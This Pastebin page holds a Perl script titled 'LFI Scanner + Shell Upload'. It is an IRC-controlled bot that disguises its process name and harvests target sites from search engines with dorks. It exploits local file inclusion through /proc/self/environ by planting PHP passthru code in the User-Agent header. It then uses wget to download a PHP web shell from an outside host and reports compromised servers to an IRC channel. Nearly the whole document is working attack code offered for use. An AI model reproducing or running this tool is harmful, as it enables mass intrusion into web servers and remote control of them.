Advertisement
87aCk_X

[Perl] LFI Scanner + Shell Upload

Sep 29th, 2013
1,741
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 19.19 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use HTTP::Request;
  4. use LWP::UserAgent;
  5. use IO::Socket;
  6. use IO::Select;
  7. use Socket;
  8.  
  9. my $fakeproc  = $ARGV[6];
  10. $ircserver    = $ARGV[0] unless $ircserver;
  11. my $ircport   = $ARGV[1];
  12. my $nickname  = $ARGV[2];
  13. my $ident     = $ARGV[3];
  14. my $channel   = '#'.$ARGV[4];
  15. my $runner    = $ARGV[5];
  16. my $fullname  = '15(7@2VopCrew-IJO-Scanner15)';
  17.  
  18. my $ijoscan   = '!ijo';
  19.  
  20. $ijo_test     = "../../../../../../../../../../../../../../../proc/self/environ%00";
  21. $ijo_shell    = "http://marketlink.uk.net/img/.log/r57";
  22.  
  23. my $success   = "\n [+] VopCrew IJO Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";
  24. my $failed    = "\n [-] perl $0 <host> <port> <botnick> <botident> <botchan> <yournick> <fakeproc>\n\n";
  25.  
  26. if (@ARGV != 7) { print $failed; exit(); } else { print $success; }
  27.  
  28. $SIG{'INT'}   = 'IGNORE';
  29. $SIG{'HUP'}   = 'IGNORE';
  30. $SIG{'TERM'}  = 'IGNORE';
  31. $SIG{'CHLD'}  = 'IGNORE';
  32. $SIG{'PS'}    = 'IGNORE';
  33.  
  34. chdir("/");
  35. $ircserver="$ARGV[0]" if $ARGV[0];
  36. $0 = "$fakeproc"."\0"x16;;
  37. my $pid = fork;
  38. exit if $pid;
  39. die "\n [!] Something Wrong !!!: $!" unless defined($pid);
  40.  
  41. our %irc_servers;
  42. our %DCC;
  43. my $dcc_sel = new IO::Select->new();
  44. $sel_client = IO::Select->new();
  45.  
  46. sub sendraw {
  47.     if ($#_ == '1') {
  48.     my $socket = $_[0];
  49.     print $socket "$_[1]\n";
  50.     } else {
  51.         print $IRC_cur_socket "$_[0]\n";
  52.     }
  53. }
  54.  
  55. sub connector {
  56.     my $mynick = $_[0];
  57.     my $ircserver_con = $_[1];
  58.     my $ircport_con = $_[2];
  59.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  60.     if (defined($IRC_socket)) {
  61.         $IRC_cur_socket = $IRC_socket;
  62.         $IRC_socket->autoflush(1);
  63.         $sel_client->add($IRC_socket);
  64.         $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  65.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  66.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  67.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  68.         nick("$mynick");
  69.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
  70.         sleep 1;
  71.     }
  72. }
  73.  
  74. sub parse {
  75.     my $servarg = shift;
  76.     if ($servarg =~ /^PING \:(.*)/) {
  77.         sendraw("PONG :$1");
  78.     } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  79.         my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  80.         if ($args =~ /^\001VERSION\001$/) {
  81.             notice("$pn", "\001VERSION mIRC v6.17 Khaled Mardam-Bey\001");
  82.         }
  83.         if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
  84.             my $natrix = $1;
  85.             my $arg = $2;
  86.         }
  87.     }
  88.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  89.         if (lc($1) eq lc($mynick)) {
  90.             $mynick=$4;
  91.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  92.         }
  93.     } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  94.         nick("$mynick|".int rand(999));
  95.     } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  96.         $mynick = $2;
  97.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  98.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  99.         sendraw("MODE $nickname +Bx");
  100.         sendraw("JOIN $channel");
  101.         sendraw("PRIVMSG $channel :VopCrew IJO Scanner");
  102.         sendraw("PRIVMSG $runner :Hi $runner im here !!!");
  103.     }
  104. }
  105.  
  106. my $line_temp;
  107. while( 1 ) {
  108.     while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
  109.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  110.     my @ready = $sel_client->can_read(0);
  111.     next unless(@ready);
  112.     foreach $fh (@ready) {
  113.         $IRC_cur_socket = $fh;
  114.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  115.         $nread = sysread($fh, $msg, 4096);
  116.         if ($nread == 0) {
  117.             $sel_client->remove($fh);
  118.             $fh->close;
  119.             delete($irc_servers{$fh});
  120.         }
  121.         @lines = split (/\n/, $msg);
  122.         $msg =~ s/\r\n$//;
  123.  
  124.         #####################################################################
  125.         ############################[ CMD LIST ]#############################
  126.         #####################################################################
  127.  
  128.         if ($msg=~ /PRIVMSG $channel :!help/){
  129.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 9,1 $ijoscan <lfibug> <dork> ");
  130.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Help15) 9,1 !xpl | !engine | !pid | !version | !about ");
  131.         }
  132.  
  133.         if ($msg=~ /PRIVMSG $channel :!xpl/){
  134.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Version15)12 Exploit -> 7http://c0li.info/xpl/lfirce.pl ");
  135.         }
  136.  
  137.         if ($msg=~ /PRIVMSG $channel :!version/){
  138.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Version15)12 VopCrew IJO Scanner v1.2");
  139.         }
  140.  
  141.         if ($msg=~ /PRIVMSG $channel :!engine/){
  142.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2Engine15)12 Google, Bing, AllTheWeb, Altavista, ASK, UOL, Yahoo.");
  143.         }
  144.  
  145.         if ($msg=~ /PRIVMSG $channel :!pid/){
  146.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2PID15)12 Process/ID : 4 $fakeproc - $$");
  147.         }
  148.  
  149.         if ($msg=~ /PRIVMSG $channel :!about/){
  150.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 VopCrew IJO Scanner v1.2");
  151.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Coded by Vrs-hCk - MainHack BrotherHood ");
  152.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2About15)3 Copyright © 2010 VopCrew UnderGrounD");
  153.         }
  154.  
  155.         ##################################################################### Google Engine
  156.         if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  157.             if (my $pid = fork) {
  158.                 waitpid($pid, 0);
  159.             }
  160.             else {
  161.                 if (fork) {    exit; } else {
  162.                     my $engx = "GooGLe";
  163.                     my $bugx = $1;
  164.                     my $d0rk = $2;
  165.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2VopCrew15)12 Dork :4 $d0rk");
  166.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2VopCrew15)12 File :4 $bugx");
  167.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2VopCrew15)7 Search Engine Loading ...");
  168.                     &lfiscan($engx,$bugx,$d0rk);
  169.                 }
  170.                 exit;
  171.             }
  172.         }
  173.  
  174.         ##################################################################### AllTheWeb Engine
  175.         if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  176.             if (my $pid = fork) {
  177.                 waitpid($pid, 0);
  178.             }
  179.             else {
  180.                 if (fork) {    exit; } else {
  181.                     my $engx = "AllTheWeb";
  182.                     my $bugx = $1;
  183.                     my $d0rk = $2;
  184.                     &lfiscan($engx,$bugx,$d0rk);
  185.                 }
  186.                 exit;
  187.             }
  188.         }
  189.  
  190.         ##################################################################### Bing Engine
  191.         if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  192.             if (my $pid = fork) {
  193.                 waitpid($pid, 0);
  194.             }
  195.             else {
  196.                 if (fork) {    exit; } else {
  197.                     my $engx = "Bing";
  198.                     my $bugx = $1;
  199.                     my $d0rk = $2;
  200.                     &lfiscan($engx,$bugx,$d0rk);
  201.                 }
  202.                 exit;
  203.             }
  204.         }
  205.  
  206.         ##################################################################### Altavista Engine
  207.         if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  208.             if (my $pid = fork) {
  209.                 waitpid($pid, 0);
  210.             }
  211.             else {
  212.                 if (fork) {    exit; } else {
  213.                     my $engx = "ALtaViSTa";
  214.                     my $bugx = $1;
  215.                     my $d0rk = $2;
  216.                     &lfiscan($engx,$bugx,$d0rk);
  217.                 }
  218.                 exit;
  219.             }
  220.         }
  221.  
  222.         ##################################################################### ASK Engine
  223.         if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  224.             if (my $pid = fork) {
  225.                 waitpid($pid, 0);
  226.             }
  227.             else {
  228.                 if (fork) {    exit; } else {
  229.                     my $engx = "AsK";
  230.                     my $bugx = $1;
  231.                     my $d0rk = $2;
  232.                     &lfiscan($engx,$bugx,$d0rk);
  233.                 }
  234.                 exit;
  235.             }
  236.         }
  237.  
  238.         ##################################################################### UoL Engine
  239.         if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  240.             if (my $pid = fork) {
  241.                 waitpid($pid, 0);
  242.             }
  243.             else {
  244.                 if (fork) {    exit; } else {
  245.                     my $engx = "UoL";
  246.                     my $bugx = $1;
  247.                     my $d0rk = $2;
  248.                     &lfiscan($engx,$bugx,$d0rk);
  249.                 }
  250.                 exit;
  251.             }
  252.         }
  253.  
  254.         ##################################################################### Yahoo Engine
  255.         if ($msg=~ /PRIVMSG $channel :$ijoscan\s+(.*?)\s+(.*)/ ) {
  256.             if (my $pid = fork) {
  257.                 waitpid($pid, 0);
  258.             }
  259.             else {
  260.                 if (fork) {    exit; } else {
  261.                     my $engx = "YahOo";
  262.                     my $bugx = $1;
  263.                     my $d0rk = $2;
  264.                     &lfiscan($engx,$bugx,$d0rk);
  265.                 }
  266.                 exit;
  267.             }
  268.         }
  269.  
  270.         for(my $c=0; $c<= $#lines; $c++) {
  271.             $line = $lines[$c];
  272.             $line=$line_temp.$line if ($line_temp);
  273.             $line_temp='';
  274.             $line =~ s/\r$//;
  275.             unless ($c == $#lines) {
  276.                 parse("$line");
  277.             } else {
  278.                 if ($#lines == 0) {
  279.                     parse("$line");
  280.                 } elsif ($lines[$c] =~ /\r$/) {
  281.                     parse("$line");
  282.                 } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  283.                     parse("$line");
  284.                 } else {
  285.                     $line_temp = $line;
  286.                 }
  287.             }
  288.         }
  289.     }
  290. }
  291.  
  292. ##################################################################### Procedure
  293.  
  294. sub lfiscan() {
  295.     my $engz = $_[0];
  296.     my $bugz = $_[1];
  297.     my $dork = $_[2];
  298.     my $contatore = 0;  
  299.     if ($engz =~ /GooGLe/) {
  300.         my @google=&google($dork);
  301.         push(@total, @google);
  302.         }
  303.     if ($engz =~ /AllTheWeb/) {
  304.         my @alltheweb=&alltheweb($dork);
  305.         push(@total, @alltheweb);
  306.     }
  307.     if ($engz =~ /Bing/) {
  308.         my @Bing=&Bing($dork);
  309.         push(@total, @Bing);
  310.     }
  311.     if ($engz =~ /ALtaViSTa/) {
  312.         my @altavista=&altavista($dork);
  313.         push(@total, @altavista);
  314.     }
  315.     if ($engz =~ /AsK/) {
  316.         my @ask=&ask($dork);
  317.         push(@total, @ask);
  318.     }
  319.     if ($engz =~ /UoL/) {
  320.         my @uol=&uol($dork);
  321.         push(@total, @uol);
  322.     }
  323.     if ($engz =~ /YahOo/) {
  324.         my @yahoo=&yahoo($dork);
  325.         push(@total, @yahoo);
  326.     }
  327.     my @clean = &calculate(@total);
  328.     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
  329.     if (scalar(@clean) != 0) {
  330.         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)7 Exploiting4 $dork");
  331.     }
  332.     my $uni=scalar(@clean);
  333.     foreach my $target (@clean)
  334.     {
  335.         $contatore++;
  336.         if ($contatore==$uni-1){
  337.             sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)10 Scan Finish for14 $dork");
  338.         }
  339.         my $lfi  = "../../../../../../../../../../../../../../..";
  340.         my $xpl  = "http://".$target.$bugz.$ijo_test;
  341.         my $vuln = "http://".$target."12".$bugz."7".$ijo_test."";
  342.         my $re   = getcontent($xpl);
  343.         if ($re  =~ /DOCUMENT_ROOT=\// && $re =~ /HTTP_USER_AGENT/){
  344.             if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
  345.                 my $ijo = exploit($xpl,"uname -svnrp;echo c0li;id");
  346.                 $ijo =~ s/\n//g;
  347.                 if ($ijo =~ /c0li#(.*)c0liuid=(.*)#c0li/sg) {
  348.                     my ($sys,$uid) = ($1,$2);
  349.                     my $tmp = "/tmp/shell".int rand(2010);
  350.                     my $upload = exploit($xpl,"wget $ijo_shell -O $tmp"); sleep(1);
  351.                     my $res = getcontent("http://".$target.$bugz.$lfi.$tmp.'%00');
  352.                     if ($res =~ /Hacked by Vrs-hCk/) {
  353.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)15(13@12PHPSheLL15)4 http://".$target."12".$bugz."6".$lfi."7".$tmp."%00 15(7@3".$sys."15)(7@3VopCrew15)");
  354.                     }
  355.                     else {
  356.                         sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)15(13@12System15)4 http://".$target."12".$bugz."6[LFI] 15(7@3".$sys." 7uid=".$uid."15)(7@2VopCrew15)");
  357.                     }
  358.                 }
  359.                 else {
  360.                     sendraw($IRC_cur_socket, "PRIVMSG $channel :15(7@2IJO15)(7@2$engz15)15(13@12Vuln15)4 ".$vuln." 15(7@3VopCrew15)");
  361.                 }
  362.             } exit } sleep(3);
  363.         }
  364.     }
  365. }
  366.  
  367. sub getcontent() {
  368.     my $url = $_[0];
  369.     my $req = HTTP::Request->new(GET => $url);
  370.     my $ua  = LWP::UserAgent->new();
  371.     $ua->timeout(10);
  372.     my $response = $ua->request($req);
  373.     return $response->content;
  374. }
  375.  
  376. sub exploit() {
  377.     my $url = $_[0];
  378.     my $rce = $_[1];
  379.     my $agent = "<?php echo "c0li#\"; passthru(\'".$rce."\'); echo \"#c0li\"; ?>";
  380.     my $ua = LWP::UserAgent->new(agent => $agent);
  381.     $ua->timeout(10);
  382.     my $req = HTTP::Request->new(GET => $url);
  383.     my $response = $ua->request($req);
  384.     return $response->content;
  385. }
  386.  
  387. sub google(){
  388.     my @lst;
  389.     my $key = $_[0];
  390.     my $b   = 0;
  391.     for ($b=0; $b<=1000; $b+=100){
  392.         my $Go=("http://www.google.com/search?q=".key($key)."&num=100&filter=0&start=".$b);
  393.         my $Res=query($Go);
  394.         while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  395.             if ($1 !~ /google/){
  396.                 my $k=$1;
  397.                 my @grep=links($k);
  398.                 push(@lst,@grep);
  399.             }
  400.         }
  401.     }
  402. return @lst;
  403. }
  404.  
  405. sub alltheweb() {
  406.     my @lst;
  407.     my $key = $_[0];
  408.     my $b   = 0;
  409.     my $pg  = 0;
  410.     for ($b=0; $b<=1000; $b+=100) {
  411.         my $all = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=100&q=".key($key)."&o=".$b);
  412.         my $Res = query($all);
  413.         while ( $Res =~ m/<span class=\"?resURL\"?>http:\/\/(.+?)\<\/span>/g ) {
  414.             my $k = $1;
  415.             $k =~ s/ //g;
  416.             my @grep = links($k);
  417.             push( @lst, @grep );
  418.         }
  419.     }
  420.     return @lst;
  421. }
  422.  
  423. sub uol() {
  424.     my @lst;
  425.     my $key = $_[0];
  426.     my $b   = 0;
  427.     for ($b=1; $b<=1000; $b+=10) {
  428.         my $UoL = ("http://mundo.busca.uol.com.br/buscar.html?q=".key($key)."&start=".$b);
  429.         my $Res = query($UoL);
  430.         while ( $Res =~ m/<a href=\"http:\/\/([^>\"]*)/g ) {
  431.             my $k = $1;
  432.             if ( $k !~ /busca|uol|yahoo/ ) {
  433.                 my $k    = $1;
  434.                 my @grep = links($k);
  435.                 push( @lst, @grep );
  436.             }
  437.         }
  438.     }
  439.     return @lst;
  440. }
  441.  
  442. sub Bing() {
  443.     my @lst;
  444.     my $key = $_[0];
  445.     my $b   = 0;
  446.     for ($b=1; $b<=1000; $b+=10) {
  447.         my $bing = ("http://www.bing.com/search?q=".key($key)."&filt=all&first=".$b."&FORM=PERE");
  448.         my $Res = query($bing);
  449.         while ( $Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g ) {
  450.             if ( $1 !~ /msn|live|bing/ ) {
  451.                 my $k    = $1;
  452.                 my @grep = links($k);
  453.                 push( @lst, @grep );
  454.             }
  455.         }
  456.     }
  457.     return @lst;
  458. }
  459.  
  460. sub altavista(){
  461.     my @lst;
  462.     my $key = $_[0];
  463.     my $b   = 0;
  464.     for ($b=1; $b<=1000; $b+=10){
  465.         my $AlT=("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".key($key)."&stq=".$b);
  466.         my $Res=query($AlT);
  467.         while ($Res=~m/<span class=ngrn>(.+?)\//g){
  468.             if ($1 !~ /altavista/){
  469.                 my $k=$1;
  470.                 $k=~s/<//g;
  471.                 $k=~s/ //g;
  472.                 my @grep=links($k);
  473.                 push(@lst,@grep);
  474.             }
  475.         }
  476.     }
  477. return @lst;
  478. }
  479.  
  480. sub ask() {
  481.     my @lst;
  482.     my $key = $_[0];
  483.     my $b   = 0;
  484.     my $pg  = 0;
  485.     for ($b=0; $b<=1000; $b+=10) {
  486.         my $Ask = ("http://it.ask.com/web?q=".key($key)."&o=0&l=dir&qsrc=0&qid=EE90DE6E8F5370F363A63EC61228D4FE&dm=all&page=".$b);
  487.         my $Res = query($Ask);
  488.         while ($Res =~ m/href=\"http:\/\/(.+?)\" onmousedown=/g) {
  489.             if ($1 !~ /ask.com/){
  490.                 my $k = $1;
  491.                 my @grep = links($k);
  492.                 push( @lst, @grep );
  493.             }
  494.         }
  495.     }
  496.     return @lst;
  497. }
  498.  
  499. sub yahoo() {
  500.     my @lst;
  501.     my $key = $_[0];
  502.     my $b   = 0;
  503.     for ($b=1; $b<=500; $b+=1) {
  504.         my $yahoo = ("http://www.search.yahoo.com/search?p=".key($key)."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$b);
  505.         my $Res = query($yahoo);
  506.         while ($Res =~ m/26u=(.*?)%26w=/g) {
  507.             if ($1 !~ /yahoo/){
  508.                 my $k = $1;
  509.                 my @grep = links($k);
  510.                 push(@lst, @grep);
  511.             }
  512.         }
  513.     }
  514.     return @lst;
  515. }
  516.  
  517. sub links() {
  518.     my @l;
  519.     my $link = $_[0];
  520.     my $host = $_[0];
  521.     my $hdir = $_[0];
  522.     $hdir =~ s/(.*)\/[^\/]*$/\1/;
  523.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  524.     $host .= "/";
  525.     $link .= "/";
  526.     $hdir .= "/";
  527.     $host =~ s/\/\//\//g;
  528.     $hdir =~ s/\/\//\//g;
  529.     $link =~ s/\/\//\//g;
  530.     push( @l, $link, $host, $hdir );
  531.     return @l;
  532. }
  533.  
  534. sub key() {
  535.     my $dork = $_[0];
  536.     $dork =~ s/ /\+/g;
  537.     $dork =~ s/:/\%3A/g;
  538.     $dork =~ s/\//\%2F/g;
  539.     $dork =~ s/&/\%26/g;
  540.     $dork =~ s/\"/\%22/g;
  541.     $dork =~ s/,/\%2C/g;
  542.     $dork =~ s/\\/\%5C/g;
  543.     return $dork;
  544. }
  545.  
  546. sub query($) {
  547.     my $url = $_[0];
  548.     $url =~ s/http:\/\///;
  549.     my $host  = $url;
  550.     my $query = $url;
  551.     my $page  = "";
  552.     $host  =~ s/href=\"?http:\/\///;
  553.     $host  =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  554.     $query =~ s/$host//;
  555.     if ( $query eq "" ) { $query = "/"; }
  556.         eval {
  557.             my $sock = IO::Socket::INET->new(PeerAddr => "$host", PeerPort => "80", Proto => "tcp") or return;
  558.             print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  559.             my @r = <$sock>;
  560.             $page = "@r";
  561.             close($sock);
  562.         };
  563.     return $page;
  564. }
  565.  
  566. sub calculate {
  567.     my @calculate = ();
  568.     my %visti = ();
  569.     foreach my $element (@_) {
  570.         $element =~ s/\/+/\//g;
  571.         next if $visti{$element}++;
  572.         push @calculate, $element;
  573.     }
  574.     return @calculate;
  575. }
  576.  
  577. sub nick {
  578.     return unless $#_ == 0;
  579.     sendraw("NICK $_[0]");
  580. }
  581.  
  582. sub notice {
  583.     return unless $#_ == 1;
  584.     sendraw("NOTICE $_[0] :$_[1]");
  585. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement